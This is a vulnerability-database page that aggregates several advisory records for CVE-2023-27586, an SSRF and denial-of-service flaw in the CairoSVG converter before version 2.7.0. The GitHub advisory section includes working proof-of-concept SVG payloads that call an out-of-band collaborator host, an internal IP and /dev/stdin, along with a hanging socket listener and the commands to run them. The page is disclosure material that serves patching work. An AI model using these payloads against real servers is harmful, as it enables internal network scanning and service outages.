cve-2023-27586

Vulnerability from cvelistv5

Published

2023-03-20 15:23

Modified

2024-08-02 12:16

Severity ?

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L

Summary

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

References

URL	Tags
security-advisories@github.com	https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255	Patch
security-advisories@github.com	https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53	Patch
security-advisories@github.com	https://github.com/Kozea/CairoSVG/releases/tag/2.7.0	Release Notes
security-advisories@github.com	https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv	Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255	Patch
af854a3a-2127-422b-91ae-364da2661108	https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53	Patch
af854a3a-2127-422b-91ae-364da2661108	https://github.com/Kozea/CairoSVG/releases/tag/2.7.0	Release Notes
af854a3a-2127-422b-91ae-364da2661108	https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv	Vendor Advisory

Impacted products

Vendor

Product

Version

▼

Kozea

CairoSVG

Version: < 2.7.0

Show details on NVD website

JSON

To clipboard

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          "dateUpdated": "2024-08-02T12:16:36.330Z",
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      "source": {
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        "discovery": "UNKNOWN"
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  }
}

pysec-2023-9

Vulnerability from pysec

Published

2023-03-20 16:15

Modified

2023-05-04 03:49

Details

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "cairosvg",
        "purl": "pkg:pypi/cairosvg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12d31c653c0254fa9d9853f66b04ea46e7397255"
            },
            {
              "fixed": "33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"
            }
          ],
          "repo": "https://github.com/Kozea/CairoSVG",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.1.1",
        "0.1.2",
        "0.2",
        "0.3",
        "0.3.1",
        "0.4",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.5",
        "1.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.12",
        "1.0.13",
        "1.0.14",
        "1.0.15",
        "1.0.16",
        "1.0.17",
        "1.0.18",
        "1.0.19",
        "1.0.2",
        "1.0.20",
        "1.0.21",
        "1.0.22",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.7",
        "1.0.8",
        "1.0.9",
        "2.0.0",
        "2.0.0rc1",
        "2.0.0rc2",
        "2.0.0rc3",
        "2.0.0rc4",
        "2.0.0rc5",
        "2.0.0rc6",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.2.0",
        "2.2.1",
        "2.3.0",
        "2.3.1",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.6.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27586",
    "GHSA-rwmf-w63j-p7gv"
  ],
  "details": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG\u0027s ability to access other files online by default.",
  "id": "PYSEC-2023-9",
  "modified": "2023-05-04T03:49:44.989748Z",
  "published": "2023-03-20T16:15:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/releases/tag/2.7.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv"
    },
    {
      "type": "FIX",
      "url": "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255"
    },
    {
      "type": "FIX",
      "url": "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"
    }
  ]
}

gsd-2023-27586

Vulnerability from gsd

Modified

2023-12-13 01:20

Details

Aliases

CVE-2023-27586

Aliases

CVE-2023-27586

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2023-27586",
    "id": "GSD-2023-27586"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2023-27586"
      ],
      "details": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG\u0027s ability to access other files online by default.",
      "id": "GSD-2023-27586",
      "modified": "2023-12-13T01:20:55.818645Z",
      "schema_version": "1.4.0"
    }
  },
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                          "version_affected": "=",
                          "version_value": "\u003c 2.7.0"
                        }
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                    }
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          }
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      },
      "impact": {
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          },
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        ]
      },
      "source": {
        "advisory": "GHSA-rwmf-w63j-p7gv",
        "discovery": "UNKNOWN"
      }
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "\u003c2.7.0",
          "affected_versions": "All versions before 2.7.0",
          "cvss_v3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
          "cwe_ids": [
            "CWE-1035",
            "CWE-918",
            "CWE-937"
          ],
          "date": "2023-03-23",
          "description": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG\u0027s ability to access other files online by default.",
          "fixed_versions": [
            "2.7.0"
          ],
          "identifier": "CVE-2023-27586",
          "identifiers": [
            "CVE-2023-27586",
            "GHSA-rwmf-w63j-p7gv"
          ],
          "not_impacted": "All versions starting from 2.7.0",
          "package_slug": "pypi/CairoSVG",
          "pubdate": "2023-03-20",
          "solution": "Upgrade to version 2.7.0 or above.",
          "title": "Server-Side Request Forgery (SSRF)",
          "urls": [
            "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv",
            "https://nvd.nist.gov/vuln/detail/CVE-2023-27586",
            "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255",
            "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53",
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          ],
          "uuid": "62725a14-bc18-43fb-8630-4b76077edab9"
        }
      ]
    },
    "nvd.nist.gov": {
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        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:courtbouillon:cairosvg:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndExcluding": "2.7.0",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2023-27586"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG\u0027s ability to access other files online by default."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-918"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/Kozea/CairoSVG/releases/tag/2.7.0",
              "refsource": "MISC",
              "tags": [
                "Release Notes"
              ],
              "url": "https://github.com/Kozea/CairoSVG/releases/tag/2.7.0"
            },
            {
              "name": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv",
              "refsource": "MISC",
              "tags": [
                "Vendor Advisory"
              ],
              "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv"
            },
            {
              "name": "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255",
              "refsource": "MISC",
              "tags": [
                "Patch"
              ],
              "url": "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255"
            },
            {
              "name": "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53",
              "refsource": "MISC",
              "tags": [
                "Patch"
              ],
              "url": "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "exploitabilityScore": 1.8,
          "impactScore": 5.2
        }
      },
      "lastModifiedDate": "2023-03-23T18:23Z",
      "publishedDate": "2023-03-20T16:15Z"
    }
  }
}

ghsa-rwmf-w63j-p7gv

Vulnerability from github

Published

2023-03-20 21:27

Modified

2024-11-18 16:26

Severity ?

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
7.8 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L

Summary

CairoSVG improperly processes SVG files loaded from external resources

Details

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.

PoC

Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
<style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
<style type="text/css">
     <![CDATA[
        @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
        rect { fill: red; stroke: blue; stroke-width: 3 }
     ]]>
</style>

```

1.2 CairoSVG_exploit_2.svg: ```svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
        <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
    </pattern>
</defs>
<path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />

```

1.3 CairoSVG_exploit_3.svg: ```svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />

```

Run some commands: $ python3 -m cairosvg CairoSVG_exploit.svg -f png $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png
See result requests in Burp Collaborator:

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

Generating malicious svg file:

```svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://192.168.56.1:1234/" />

```

In other server run this python program:

python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close()

Run commands: $timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png (without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

Generating malicious svg file:

```svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="file:///dev/stdin" />

```

In other server run this python program: python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close()
Run commands: $timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "CairoSVG"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-20T21:27:15Z",
    "nvd_published_at": "2023-03-20T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "# SSRF vulnerability\n\n## Summary\nWhen CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## Details\nA specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization\u0027s internal resources or a DDOS attack on external resources.\nIt looks like this bug can affect websites and cause request forgery on the server.\n\n## PoC\n1. Generating malicious svg file:\n1.1 CairoSVG_exploit.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cimage height=\"200\" width=\"200\" xlink:href=\"http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3\" /\u003e\n    \u003cstyle type=\"text/css\"\u003e@import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5\");\u003c/style\u003e\n    \u003cstyle type=\"text/css\"\u003e\n         \u003c![CDATA[\n            @import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9\");\n            rect { fill: red; stroke: blue; stroke-width: 3 }\n         ]]\u003e\n    \u003c/style\u003e\n\u003c/svg\u003e\n```\n\n1.2 CairoSVG_exploit_2.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cdefs\u003e\n        \u003cpattern id=\"img1\" patternUnits=\"userSpaceOnUse\" width=\"600\" height=\"450\"\u003e\n            \u003cimage xlink:href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11\" x=\"0\" y=\"0\" width=\"600\" height=\"450\" /\u003e\n        \u003c/pattern\u003e\n    \u003c/defs\u003e\n    \u003cpath d=\"M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z\" fill=\"url(#img1)\" /\u003e\n\u003c/svg\u003e\n```\n\n1.3 CairoSVG_exploit_3.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13\" /\u003e\n\u003c/svg\u003e\n```\n\n2. Run some commands:\n`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `\n\n3. See result requests in Burp Collaborator:\n![1](https://user-images.githubusercontent.com/952243/224340068-547b1d9a-5513-48a5-9cdf-b34b693f80c2.png)\n\n\n\n# DOS vulnerability with SSTI\n\n## Summary\nWhen CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://192.168.56.1:1234/\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((\u00270.0.0.0\u0027, 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`\n(without timeout server will hang forever)\n\n\n# DOS vulnerability with stdin file descriptor\n\n## Summary\n\nSpecially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"file:///dev/stdin\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((\u00270.0.0.0\u0027, 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`",
  "id": "GHSA-rwmf-w63j-p7gv",
  "modified": "2024-11-18T16:26:29Z",
  "published": "2023-03-20T21:27:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/CairoSVG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/releases/tag/2.7.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CairoSVG improperly processes SVG files loaded from external resources"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

cve-2023-27586

Vulnerability from cvelistv5

pysec-2023-9

Vulnerability from pysec

gsd-2023-27586

Vulnerability from gsd

ghsa-rwmf-w63j-p7gv

Vulnerability from github

SSRF vulnerability

Summary

Operating system, version and so on

Tested CairoSVG version

Details

PoC

DOS vulnerability with SSTI

Summary

Operating system, version and so on

Tested CairoSVG version

PoC

DOS vulnerability with stdin file descriptor

Summary

Operating system, version and so on

Tested CairoSVG version

PoC

Tags

Sightings

Nomenclature